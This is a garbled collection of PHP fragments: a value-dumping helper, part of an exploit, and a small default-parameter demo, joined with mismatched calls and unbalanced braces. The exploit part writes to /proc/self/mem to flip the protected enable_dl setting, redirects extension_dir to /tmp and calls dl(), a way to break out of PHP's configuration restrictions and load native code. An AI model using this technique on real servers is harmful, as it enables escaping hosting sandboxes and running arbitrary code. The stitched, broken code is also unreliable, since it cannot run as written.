function dump_value($value) { if (is_object($value)) { return get_class($value) . ' object'; } else { if (is_array($value)) { if (is_associative($value)) { $ret = array(); foreach ($value as $key => $value) { $ret[] = dump_value($key) . ' => ' . _dump_inner_value($value); } return '{' . implode(', ', $ret) . '}'; } else { return '[' . implode(', ', array_map('_dump_inner_value', $value)) . ']'; } } else { return var_export($value, true); } } }
ini_set('enable_dl', true); printf("try to get enable_dl value by ini_get\r\n"); var_dump(ini_get('enable_dl')); printf("try to run dl() function\r\n"); dl('not_exists'); printf("try to modifiy the modifiable member in memory!\r\n"); fseek($mem, $pdata + 4); $modifiable = dump_value($mem, 4); printf("org modifiable value is %x\r\n", $modifiable); $mem_w = fopen("/proc/self/mem", "wb"); fseek($mem_w, $pdata + 4); //seek to modifiable fwrite($mem_w, packli(7)); //check fseek($mem, $pdata + 4); $modifiable = dump_value($mem, 4); printf("now modifiable value is %x\r\n", $modifiable); printf("try ini_set enable_dl agen!!!!\r\n"); ini_set('enable_dl', true); printf("now enable_dl seting is\r\n"); var_dump(ini_get('enable_dl')); printf("retry the dl() function!!!!\r\n"); ini_set('extension_dir', '/tmp'); dl('not_exists'); exit(0); } //seek to struct bucket *pListNext; ready to read next bucket's address fseek($mem, $bucket + 32 + 8); //struct bucket *pListLast; it's so strage! } }
<?php define("VAL", true); function dump_value($val = VAL) { var_dump($val); } dump_value(123); dump_value(); // should update $val with true